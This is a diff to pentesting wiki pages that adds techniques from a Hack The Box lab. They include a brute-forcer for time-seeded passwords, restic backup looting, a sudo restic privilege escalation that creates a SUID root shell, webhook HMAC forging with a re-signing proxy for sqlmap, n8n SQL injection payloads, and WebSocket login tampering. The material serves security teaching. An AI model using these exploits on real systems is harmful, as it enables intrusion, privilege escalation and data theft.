diff --git a/src/crypto-and-stego/crypto-ctfs-tricks.md b/src/crypto-and-stego/crypto-ctfs-tricks.md
index bbb542c6eff..7eeb884744f 100644
--- a/src/crypto-and-stego/crypto-ctfs-tricks.md
+++ b/src/crypto-and-stego/crypto-ctfs-tricks.md
@@ -292,12 +292,52 @@ A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
+## Predictable PRNG password generators
+
+If you recover the timestamp of a password rotation (from syslog, a `command_log` table, etc.) and the binary seeds `srand()` with that time, you can recreate every password it could emit:
+
+- Binaries compiled with `gettimeofday()` often set `seed = tv_sec * 1000 + (tv_usec / 1000)` and then pick characters from a fixed alphabet via `rand() % 62`. With only millisecond precision there are just 1,000 candidates per second.
+- Use `ctypes` to call glibc’s `srand`/`rand` so you get identical output to the target binary.
+- Generate the 1,000 candidates for the recorded second and try them offline (e.g., `ssh`, `su`, `hydra`). On HTB WhiteRabbit this immediately recovered `neo`’s password because the rotation time was logged as `2024-08-30 14:40:42`.
+
+
+Python helper to brute-force seeds for a given timestamp
+
+```python
+#!/usr/bin/env python3
+import ctypes
+from datetime import datetime
+import sys
+
+CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
+libc = ctypes.CDLL("libc.so.6")
+
+if len(sys.argv) != 2:
+ print(f"Usage: {sys.argv[0]} 'YYYY-MM-DD HH:MM:SS'")
+ sys.exit(1)
+
+base = int(datetime.strptime(sys.argv[1], "%Y-%m-%d %H:%M:%S").timestamp())
+for ms in range(1000):
+ seed = base * 1000 + ms
+ libc.srand(seed)
+ pw = ''.join(CHARSET[libc.rand() % len(CHARSET)] for _ in range(20))
+ print(pw)
+```
+
+
+
+Pipe the output into your favorite brute-force tool or test each candidate manually until one succeeds.
+
## Tools
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
- [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
+## References
+
+- [0xdf – HTB WhiteRabbit (time-seeded password cracking)](https://0xdf.gitlab.io/2025/12/13/htb-whiterabbit.html)
+
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md
index 50ef32f3498..a53ddff7a28 100644
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
@@ -939,6 +939,28 @@ In this example the user `demo` can run `vim` as `root`, it is now trivial to ge
sudo vim -c '!sh'
```
+#### restic backups & --password-command abuse
+
+Backup automation routinely leaks everything you need for lateral movement:
+
+- **Harvest repository secrets from logs**: application tables such as `command_log`, `.bash_history`, or orchestrator audit trails often contain lines like `restic init --repo rest:http://75951e6ff.whiterabbit.htb` followed by `echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd`. Export both values and interact with the repository from your box:
+
+```bash
+RESTIC_PASSWORD=ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw \
+ restic -r rest:http://75951e6ff.whiterabbit.htb snapshots
+RESTIC_PASSWORD=... restic -r rest:http://75951e6ff.whiterabbit.htb restore 272cacd5 --target ./loot
+```
+
+- **Crack encrypted loot inside the snapshot**: operators frequently stash SSH keys in passworded 7z archives. Convert them with `7z2john` and recover the password with hashcat mode `11600`, then extract the keys and drop the provided `config` to pivot into hidden SSH daemons (e.g., port 2222 inside a container).
+
+- **Exploit `sudo restic`**: restic’s `--password-command` runs a helper binary to fetch the repo password. If `sudo -l` grants `NOPASSWD: /usr/bin/restic`, that helper executes as root even when the main command fails, so you can plant a SUID shell:
+
+```bash
+sudo restic check --password-command 'cp /bin/bash /tmp/rootbash'
+sudo restic check --password-command 'chmod 6777 /tmp/rootbash'
+/tmp/rootbash -p
+```
+
### SETENV
This directive allows the user to **set an environment variable** while executing something:
@@ -1818,6 +1840,7 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
- [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV)
- [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
+- [0xdf – HTB WhiteRabbit (restic NOPASSWD + leaked backups)](https://0xdf.gitlab.io/2025/12/13/htb-whiterabbit.html)
- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md
index 00497a50ff2..c33179485bf 100644
--- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md
+++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md
@@ -75,6 +75,65 @@ Impact to assess
- Data corruption via non-idempotent restarts: Forcing concurrent runs of migrations/workers can create race conditions and inconsistent partial states (silent data loss, broken analytics).
- DoS via worker/DB starvation: Repeatedly triggering heavy jobs can exhaust worker pools and database connections, causing tenant-wide outages.
+### Replaying leaked webhook HMACs
+
+Exported low-code workflows (e.g., n8n JSON) often include the exact Crypto node used to verify signed webhooks: the secret, the hashing algorithm, and even the expression used to canonicalize the body (commonly `JSON.stringify($json.body)`). Once that documentation leaks, you can faithfully reproduce the signature and send arbitrary events into the automation pipeline:
+
+1. Minify the JSON body the same way the workflow does so the byte-for-byte representation matches. In Python: `json.dumps(obj, separators=(',', ':')).encode()`.
+2. Rebuild the HMAC with the leaked secret and hashing algorithm.
+3. Overwrite the signature header enforced by the API gateway (e.g., `x-gophish-signature: sha256=`), then send the forged body to the webhook UUID.
+
+```python
+import json, hmac, hashlib
+
+secret = b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
+payload = {"campaign_id": 2, "email": "attacker@corp", "message": "Clicked Link"}
+body = json.dumps(payload, separators=(',', ':')).encode()
+sig = hmac.new(secret, body, hashlib.sha256).hexdigest()
+headers = {"Content-Type": "application/json", "x-gophish-signature": f"sha256={sig}"}
+```
+
+Whitespaces do not matter because `JSON.stringify` strips them; any change to the semantic content, however, requires recomputing the HMAC. Once the webhook accepts attacker-controlled JSON, every downstream node (databases, ticketing tools, mailers, etc.) becomes reachable even though the original API seemed “signed”.
+
+### Proxy-based HMAC regeneration for automated testing
+
+Automated scanners mutate payloads, so a static signature immediately becomes invalid. Drop a transparent proxy in front of your tooling that recomputes the HMAC before each request, allowing `sqlmap`, Intruder, or custom fuzzers to exercise the backend normally.
+
+
+mitmproxy addon that re-signs JSON bodies
+
+```python
+#!/usr/bin/env python3
+import hmac, hashlib, json
+from mitmproxy import http
+
+SECRET = b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
+
+def request(flow: http.HTTPFlow) -> None:
+ if not flow.request.content:
+ return
+ try:
+ data = json.loads(flow.request.content)
+ body = json.dumps(data, separators=(',', ':')).encode()
+ except json.JSONDecodeError:
+ body = flow.request.content
+ signature = hmac.new(SECRET, body, hashlib.sha256).hexdigest()
+ flow.request.headers["x-gophish-signature"] = f"sha256={signature}"
+```
+
+
+
+Usage:
+
+```bash
+mitmproxy -s signature_proxy.py -p 8888 --mode regular
+sqlmap -u "http://target/webhook/" --proxy=http://127.0.0.1:8888 \
+ --method POST --data '{"campaign_id":1,"email":"test","message":"Clicked"}' \
+ --headers "Content-Type: application/json" -p email --dbms mysql --batch
+```
+
+Every time `sqlmap` mutates the JSON (e.g., injecting `"foo";SELECT SLEEP(5)#`), the proxy transparently recalculates the signature, keeping the request valid while you enumerate boolean-, error-, time-based, or stacked-query primitives behind the HMAC gate.
+
### **Tools and Resources for API Pentesting**
- [**kiterunner**](https://github.com/assetnote/kiterunner): Excellent for discovering API endpoints. Use it to scan and brute force paths and parameters against target APIs.
@@ -101,5 +160,6 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
- [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
+- [0xdf – HTB WhiteRabbit (leaked webhook HMAC → SQLi)](https://0xdf.gitlab.io/2025/12/13/htb-whiterabbit.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/README.md b/src/pentesting-web/sql-injection/README.md
index 53ba19bf313..e65d5ff4e6b 100644
--- a/src/pentesting-web/sql-injection/README.md
+++ b/src/pentesting-web/sql-injection/README.md
@@ -601,6 +601,33 @@ Basically you can use the scientific notation in unexpected ways for the WAF to
' or 1.e('')=
```
+### Low-code workflow SQLi (n8n signed webhooks)
+
+Automation suites such as **n8n** frequently build SQL queries by interpolating JSON fields straight into a template string:
+
+```json
+{
+ "type": "n8n-nodes-base.mySql",
+ "parameters": {
+ "operation": "executeQuery",
+ "query": "SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1",
+ "options": {}
+ },
+ "onError": "continueErrorOutput"
+}
+```
+
+If you can reach the webhook that feeds this workflow (even when it's “signed”), you can inject payloads like `"test";SELECT SLEEP(5)#` because the expression is dropped into double quotes with no escaping. Many pipelines also route the error branch into a debugging `respondToWebhook` node such as `{{$json.message}} | {{JSON.stringify($json.error)}}`, which reflects raw MariaDB error strings or timing differences straight into the HTTP response.
+
+Practical exploitation looks like this:
+
+1. Forge the webhook signature if required (see the API pentesting chapter for rebuilding HMAC headers from leaked workflow exports).
+2. Send malformed values to force an error and confirm that the SQL text echoing back contains your payload.
+3. Switch to boolean/time/stacked payloads (`"foo" and sleep(5)#`, `"foo" rlike (select ...)`) and observe either the debug text or the response time.
+4. Once confirmed, point `sqlmap` at the webhook through a signing proxy so every mutated JSON body is re-signed, giving you fully automated dumping of schemas such as `information_schema`, `phishing`, `temp`, etc.
+
+Because every decision node trusts `$json.body.*` and `onError` is set to `continueErrorOutput`, even “internal only” workflows become remote SQLi primitives the moment their webhook UUID or documentation leaks.
+
### Bypass Column Names Restriction
First of all, notice that if the **original query and the table where you want to extract the flag from have the same amount of columns** you might just do: `0 UNION SELECT * FROM flag`
@@ -674,5 +701,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
## References
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
+- [0xdf – HTB WhiteRabbit (n8n webhook SQLi chain)](https://0xdf.gitlab.io/2025/12/13/htb-whiterabbit.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md
index 724d606923b..e24cd17242d 100644
--- a/src/pentesting-web/websocket-attacks.md
+++ b/src/pentesting-web/websocket-attacks.md
@@ -86,6 +86,25 @@ You can use the **tool** [**https://github.com/PalindromeLabs/STEWS**](https://g
- [**https://websocketking.com/**](https://websocketking.com/) it's a **web to communicate** with other webs using **websockets**.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) among other types of communications/protocols, it provides a **web to communicate** with other webs using **websockets.**
+### Tampering server responses for UI-only auth bypass
+
+When a Socket.IO login flow relies on a single boolean in the server-to-client frame (for example `{"type":"login","ok":false}`), you can sometimes trick the SPA into enabling privileged views without ever authenticating to the backend:
+
+1. Send junk credentials so the application emits the `login` event and enable Burp's WebSocket interception.
+2. When the response frame arrives, edit the fields the frontend trusts before forwarding it, e.g. flip `ok:false` to `ok:true` or drop the `error` payload:
+
+```json
+{"type":"login","ok":false,"msg":"Invalid login"}
+```
+
+→
+
+```json
+{"type":"login","ok":true,"msg":"OK"}
+```
+
+3. Keep interception enabled (or drop subsequent frames) so the socket stays frozen. The client assumes the login succeeded and renders cached components (like **Settings → About** in Uptime Kuma) even though no valid session exists on the server. Anything that requires a fresh backend response will fail once you release the connection, so treat this as a short-lived recon trick to leak version banners, internal hostnames, etc.
+
## Decrypting Websocket
- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
@@ -341,5 +360,6 @@ h2c-smuggling.md
- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)
+- [0xdf – HTB WhiteRabbit (WebSocket auth bypass + recon)](https://0xdf.gitlab.io/2025/12/13/htb-whiterabbit.html)
{{#include ../banners/hacktricks-training.md}}